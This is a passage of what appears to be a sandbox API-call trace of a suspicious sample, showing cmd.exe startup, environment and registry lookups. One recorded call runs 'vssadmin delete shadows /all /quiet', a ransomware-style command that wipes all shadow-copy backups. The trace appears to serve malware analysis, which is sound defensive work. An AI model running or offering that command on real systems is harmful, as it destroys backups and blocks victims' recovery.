_String2="PATHEXT", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0286.085] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0286.086] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0286.086] GetProcessHeap () returned 0x22692ff0000 [0286.086] RtlFreeHeap (HeapHandle=0x22692ff0000, Flags=0x0, BaseAddress=0x22692ff6ec0) returned 1 [0286.086] GetProcessHeap () returned 0x22692ff0000 [0286.086] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0x12) returned 0x22692ff6ec0 [0286.086] _get_osfhandle (_FileHandle=1) returned 0x214 [0286.086] SetConsoleMode (hConsoleHandle=0x214, dwMode=0x0) returned 0 [0286.086] _get_osfhandle (_FileHandle=0) returned 0x1e8 [0286.086] SetConsoleMode (hConsoleHandle=0x1e8, dwMode=0x0) returned 0 [0286.087] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x63a40ff210*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x63a40ff1e8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x63a40ff1e8*(hProcess=0x9c, hThread=0x98, dwProcessId=0x970, dwThreadId=0x920)) returned 1 [0286.115] CloseHandle (hObject=0x98) returned 1 [0286.115] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0286.115] GetProcessHeap () returned 0x22692ff0000 [0286.115] RtlFreeHeap (HeapHandle=0x22692ff0000, Flags=0x0, BaseAddress=0x22692ff5a10) returned 1 [0286.116] GetEnvironmentStringsW () returned 0x22692ff5a10* [0286.116] GetProcessHeap () returned 0x22692ff0000 [0286.116] RtlAllocateHeap (HeapHandle=0x22692ff0000, Flags=0x8, Size=0xac4) returned 0x226930093d0 [0286.116] FreeEnvironmentStringsA (penv="=") returned 1 [0286.116] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff9b72d0000 [0286.116] GetProcAddress (hModule=0x7ff9b72d0000, lpProcName="NtQueryInformationProcess") returned 0x7ff9b73756b0 [0286.116] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x63a40fe6e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x63a40fe6e8, ReturnLength=0x0) returned 0x0 [0286.116] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0xfb790b2000, lpBuffer=0x63a40fe720, nSize=0x7a0, lpNumberOfBytesRead=0x63a40fe6e0 | out: lpBuffer=0x63a40fe720*, lpNumberOfBytesRead=0x63a40fe6e0*=0x7a0) returned 1 [0286.118] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) Thread: id = 117 os_tid = 0x968 Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4a4d5000" os_pid = "0xc28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xff4" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 94 os_tid = 0x56c [0278.753] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7c5560000 [0278.753] __set_app_type (_Type=0x1) [0278.753] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7c5576d00) returned 0x0 [0278.753] __getmainargs (in: _Argc=0x7ff7c5599200, _Argv=0x7ff7c5599208, _Env=0x7ff7c5599210, _DoWildCard=0, _StartInfo=0x7ff7c559921c | out: _Argc=0x7ff7c5599200, _Argv=0x7ff7c5599208, _Env=0x7ff7c5599210) returned 0 [0278.754] _onexit (_Func=0x7ff7c5577fd0) returned 0x7ff7c5577fd0 [0278.754] _onexit (_Func=0x7ff7c5577fe0) returned 0x7ff7c5577fe0 [0278.754] _onexit (_Func=0x7ff7c5577ff0) returned 0x7ff7c5577ff0 [0278.754] _onexit (_Func=0x7ff7c5578000) returned 0x7ff7c5578000 [0278.755] _onexit (_Func=0x7ff7c5578010) returned 0x7ff7c5578010 [0278.755] _onexit (_Func=0x7ff7c5578020) returned 0x7ff7c5578020 [0278.756] GetCurrentThreadId () returned 0x56c [0278.756] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x56c) returned 0x70 [0278.756] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9b62f0000 [0278.756] GetProcAddress (hModule=0x7ff9b62f0000, lpProcName="SetThreadUILanguage") returned 0x7ff9b630a990 [0278.756] SetThreadUILanguage (LangId=0x0) returned 0x409 [0279.149] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0279.149] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xacfcf5fa48 | out: phkResult=0xacfcf5fa48*=0x0) returned 0x2 [0279.149] VirtualQuery (in: lpAddress=0xacfcf5fa34, lpBuffer=0xacfcf5f9b0, dwLength=0x30 | out: lpBuffer=0xacfcf5f9b0*(BaseAddress=0xacfcf5f000, AllocationBase=0xacfce60000, AllocationProtect=0x4, __alignment1=0xffff978b, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0279.150] VirtualQuery (in: lpAddress=0xacfce60000, lpBuffer=0xacfcf5f9b0, dwLength=0x30 | out: lpBuffer=0xacfcf5f9b0*(BaseAddress=0xacfce60000, AllocationBase=0xacfce60000, AllocationProtect=0x4, __alignment1=0xffff978b, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0279.150] VirtualQuery (in: lpAddress=0xacfce61000, lpBuffer=0xacfcf5f9b0, dwLength=0x30 | out: lpBuffer=0xacfcf5f9b0*(BaseAddress=0xacfce61000, AllocationBase=0xacfce60000, AllocationProtect=0x4, __alignment1=0xffff978b, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0279.150] VirtualQuery (in: lpAddress=0xacfce64000, lpBuffer=0xacfcf5f9b0, dwLength=0x30 | out: lpBuffer=0xacfcf5f9b0*(BaseAddress=0xacfce64000, AllocationBase=0xacfce60000, AllocationProtect=0x4, __alignment1=0xffff978b, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0279.150] VirtualQuery (in: lpAddress=0xacfcf60000, lpBuffer=0xacfcf5f9b0, dwLength=0x30 | out: lpBuffer=0xacfcf5f9b0*(BaseAddress=0xacfcf60000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff978b, RegionSize=0xa0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0279.150] GetConsoleOutputCP () returned 0x1b5 [0279.712] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c559fbb0 | out: lpCPInfo=0x7ff7c559fbb0) returned 1 [0279.712] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7c5588150, Add=1) returned 1 [0279.712] _get_osfhandle (_FileHandle=1) returned 0x238 [0279.712] GetConsoleMode (in: hConsoleHandle=0x238, lpMode=0x7ff7c559fc04 | out: lpMode=0x7ff7c559fc04) returned 0 [0279.712] _get_osfhandle (_FileHandle=0) returned 0x224 [0279.712] GetConsoleMode (in: hConsoleHandle=0x224, lpMode=0x7ff7c559fc00 | out: lpMode=0x7ff7c559fc00) returned 0 [0279.712] _get_osfhandle (_FileHandle=1) returned 0x238 [0279.712] SetConsoleMode (hConsoleHandle=0x238, dwMode=0x0) returned 0 [0279.712] _get_osfhandle (_FileHandle=1) returned 0x238 [0279.712] GetConsoleMode (in: hConsoleHandle=0x238, lpMode=0x7ff7c559fc08 | out: lpMode=0x7ff7c559fc08) returned 0 [0279.713] _get_osfhandle (_FileHandle=0) returned 0x224 [0279.713] GetConsoleMode (in: hConsoleHandle=0x224, lpMode=0x7ff7c559fc0c | out: lpMode=0x7ff7c559fc0c) returned 0 [0279.713] GetEnvironmentStringsW () returned 0x208c11e5a10* [0279.713] GetProcessHeap () returned 0x208c11e0000 [0279.713] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0xa7c) returned 0x208c11e64a0 [0279.713] FreeEnvironmentStringsA (penv="A") returned 1 [0279.713] GetProcessHeap () returned 0x208c11e0000 [0279.713] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x8) returned 0x208c11e6f30 [0279.713] GetEnvironmentStringsW () returned 0x208c11e5a10* [0279.713] GetProcessHeap () returned 0x208c11e0000 [0279.713] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0xa7c) returned 0x208c11e6f50 [0279.714] FreeEnvironmentStringsA (penv="A") returned 1 [0279.714] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xacfcf5e8f8 | out: phkResult=0xacfcf5e8f8*=0x7c) returned 0x0 [0279.714] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x0, lpData=0xacfcf5e910*=0x4, lpcbData=0xacfcf5e8f4*=0x1000) returned 0x2 [0279.714] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x4, lpData=0xacfcf5e910*=0x1, lpcbData=0xacfcf5e8f4*=0x4) returned 0x0 [0279.714] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x0, lpData=0xacfcf5e910*=0x1, lpcbData=0xacfcf5e8f4*=0x1000) returned 0x2 [0279.714] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x4, lpData=0xacfcf5e910*=0x0, lpcbData=0xacfcf5e8f4*=0x4) returned 0x0 [0279.714] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x4, lpData=0xacfcf5e910*=0x40, lpcbData=0xacfcf5e8f4*=0x4) returned 0x0 [0279.714] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x4, lpData=0xacfcf5e910*=0x40, lpcbData=0xacfcf5e8f4*=0x4) returned 0x0 [0279.714] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x0, lpData=0xacfcf5e910*=0x40, lpcbData=0xacfcf5e8f4*=0x1000) returned 0x2 [0279.714] RegCloseKey (hKey=0x7c) returned 0x0 [0279.715] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xacfcf5e8f8 | out: phkResult=0xacfcf5e8f8*=0x7c) returned 0x0 [0279.715] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x0, lpData=0xacfcf5e910*=0x40, lpcbData=0xacfcf5e8f4*=0x1000) returned 0x2 [0279.715] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x4, lpData=0xacfcf5e910*=0x1, lpcbData=0xacfcf5e8f4*=0x4) returned 0x0 [0279.715] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x0, lpData=0xacfcf5e910*=0x1, lpcbData=0xacfcf5e8f4*=0x1000) returned 0x2 [0279.715] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x4, lpData=0xacfcf5e910*=0x0, lpcbData=0xacfcf5e8f4*=0x4) returned 0x0 [0279.715] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x4, lpData=0xacfcf5e910*=0x9, lpcbData=0xacfcf5e8f4*=0x4) returned 0x0 [0279.715] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x4, lpData=0xacfcf5e910*=0x9, lpcbData=0xacfcf5e8f4*=0x4) returned 0x0 [0279.715] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xacfcf5e8f0, lpData=0xacfcf5e910, lpcbData=0xacfcf5e8f4*=0x1000 | out: lpType=0xacfcf5e8f0*=0x0, lpData=0xacfcf5e910*=0x9, lpcbData=0xacfcf5e8f4*=0x1000) returned 0x2 [0279.715] RegCloseKey (hKey=0x7c) returned 0x0 [0279.715] time (in: timer=0x0 | out: timer=0x0) returned 0x5ee23230 [0279.715] srand (_Seed=0x5ee23230) [0279.715] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0279.715] malloc (_Size=0x4000) returned 0x208c15654f0 [0279.716] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0279.716] malloc (_Size=0xffce) returned 0x208c13b0080 [0279.717] ??_V@YAXPEAX@Z () returned 0x208c13b0080 [0279.717] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x208c13b0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0279.718] malloc (_Size=0xffce) returned 0x208c13c0060 [0279.718] ??_V@YAXPEAX@Z () returned 0x208c13c0060 [0279.718] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x208c13c0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0279.719] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0279.719] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0279.719] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0279.719] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0279.719] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0279.719] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0279.720] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0279.720] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0279.720] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0279.720] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0279.720] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0279.720] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0279.720] GetProcessHeap () returned 0x208c11e0000 [0279.720] RtlFreeHeap (HeapHandle=0x208c11e0000, Flags=0x0, BaseAddress=0x208c11e64a0) returned 1 [0279.720] GetEnvironmentStringsW () returned 0x208c11e5a10* [0279.720] GetProcessHeap () returned 0x208c11e0000 [0279.720] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0xa94) returned 0x208c11e7a10 [0279.721] FreeEnvironmentStringsA (penv="A") returned 1 [0279.721] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0279.721] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0279.721] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0279.721] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0279.721] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0279.721] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0279.721] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0279.721] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0279.721] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0279.721] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0279.721] malloc (_Size=0xffce) returned 0x208c13d0040 [0279.722] ??_V@YAXPEAX@Z () returned 0x208c13d0040 [0279.722] GetProcessHeap () returned 0x208c11e0000 [0279.722] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x38) returned 0x208c11e84b0 [0279.722] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x208c13d0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0279.722] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x208c13d0040, lpFilePart=0xacfcf5f470 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xacfcf5f470*="system32") returned 0x13 [0279.723] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0279.723] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xacfcf5f1a0 | out: lpFindFileData=0xacfcf5f1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x208c11e84f0 [0279.724] FindClose (in: hFindFile=0x208c11e84f0 | out: hFindFile=0x208c11e84f0) returned 1 [0279.724] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xacfcf5f1a0 | out: lpFindFileData=0xacfcf5f1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc0b701ad, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xc0b701ad, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x208c11e84f0 [0279.724] FindClose (in: hFindFile=0x208c11e84f0 | out: hFindFile=0x208c11e84f0) returned 1 [0279.724] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0279.724] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0279.724] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0279.724] GetProcessHeap () returned 0x208c11e0000 [0279.724] RtlFreeHeap (HeapHandle=0x208c11e0000, Flags=0x0, BaseAddress=0x208c11e7a10) returned 1 [0279.724] GetEnvironmentStringsW () returned 0x208c11e84f0* [0279.724] GetProcessHeap () returned 0x208c11e0000 [0279.725] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0xac4) returned 0x208c11e5a10 [0279.725] FreeEnvironmentStringsA (penv="=") returned 1 [0279.725] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x208c13b0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0279.725] GetProcessHeap () returned 0x208c11e0000 [0279.725] RtlFreeHeap (HeapHandle=0x208c11e0000, Flags=0x0, BaseAddress=0x208c11e84b0) returned 1 [0279.725] ??_V@YAXPEAX@Z () returned 0x1 [0279.725] ??_V@YAXPEAX@Z () returned 0x1 [0279.725] GetProcessHeap () returned 0x208c11e0000 [0279.725] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x4016) returned 0x208c11e7a10 [0279.725] GetProcessHeap () returned 0x208c11e0000 [0279.725] RtlFreeHeap (HeapHandle=0x208c11e0000, Flags=0x0, BaseAddress=0x208c11e7a10) returned 1 [0279.725] GetConsoleOutputCP () returned 0x1b5 [0280.314] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7c559fbb0 | out: lpCPInfo=0x7ff7c559fbb0) returned 1 [0280.314] GetUserDefaultLCID () returned 0x409 [0280.315] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7c559bb78, cchData=8 | out: lpLCData=":") returned 2 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xacfcf5f830, cchData=128 | out: lpLCData="0") returned 2 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xacfcf5f830, cchData=128 | out: lpLCData="0") returned 2 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xacfcf5f830, cchData=128 | out: lpLCData="1") returned 2 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7c559bb68, cchData=8 | out: lpLCData="/") returned 2 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7c559bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7c559bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7c559ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7c559ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7c559ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7c559b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7c559b980, cchData=32 | out: lpLCData="Sun") returned 4 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7c559bb58, cchData=8 | out: lpLCData=".") returned 2 [0280.316] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7c559bb40, cchData=8 | out: lpLCData=",") returned 2 [0280.316] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0280.319] GetProcessHeap () returned 0x208c11e0000 [0280.319] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x0, Size=0x20c) returned 0x208c11e6550 [0280.320] GetConsoleTitleW (in: lpConsoleTitle=0x208c11e6550, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0280.873] _get_osfhandle (_FileHandle=1) returned 0x238 [0280.873] GetFileType (hFile=0x238) returned 0x3 [0280.914] ApiSetQueryApiSetPresence () returned 0x0 [0280.914] ResolveDelayLoadedAPI () returned 0x7ff9990ed990 [0280.947] BrandingFormatString () returned 0x208c11e6a40 [0281.285] GetVersion () returned 0x3ad7000a [0281.285] _vsnwprintf (in: _Buffer=0xacfcf5f990, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xacfcf5f928 | out: _Buffer="10.0.15063") returned 10 [0281.286] _get_osfhandle (_FileHandle=1) returned 0x238 [0281.286] GetFileType (hFile=0x238) returned 0x3 [0281.286] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7c55a7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0281.288] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7c55a7f60, nSize=0x2000, Arguments=0xacfcf5f930 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0281.288] 